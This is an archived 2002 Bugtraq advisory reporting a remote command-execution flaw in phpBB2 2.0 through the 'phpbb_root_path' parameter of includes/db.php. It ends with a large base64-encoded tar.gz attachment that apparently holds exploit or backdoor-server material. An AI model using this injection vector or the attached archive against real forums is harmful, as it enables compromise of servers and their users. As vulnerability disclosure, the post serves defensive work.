[24745] in bugtraq
phpBB2 remote execution command
daemon@ATHENA.MIT.EDU (nullbyte)
Tue Mar 19 19:12:23 2002
Date: Mon, 18 Mar 2002 16:47:34 +0000 (GMT)
From: nullbyte <nullbyte@inetd-secure.net>
To: bugtraq@securityfocus.com
Cc: vuln-dev@securityfocus.com
Message-ID: <Pine.BSF.4.44.0203181645580.19291-101000@inetd-secure.net>
MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="0-1948559204-1016470054=:19291"
--0-1948559204-1016470054=:19291
Content-Type: TEXT/PLAIN; charset=US-ASCII
phpBB2 is vulnerable to remote execution command
All *nix running phpBB2 versoion 2.0.
Bug could be found at "phpBB2 root path" which is allowed remote attacker
to execute any command remotely.
The vulnerability of this attack start with
'/phpBB2/includes/db.php?phpbb_root_path=' but some backdoor server
are needed to launch the attack.
I did not look further into this bug.
It is tested on most *nix systems running phpBB2 version 2.0. Probably all
versions.
Bug was found by pokley and nullbyte
nullbyte
nullbyte@inetd-secure.net
--0-1948559204-1016470054=:19291
Content-Type: APPLICATION/octet-stream; name="phpBB2.tar.gz"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.BSF.4.44.0203181647340.19291@inetd-secure.net>
Content-Description:
Content-Disposition: attachment; filename="phpBB2.tar.gz"
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
4x8gAab4AFAAAA==
--0-1948559204-1016470054=:19291--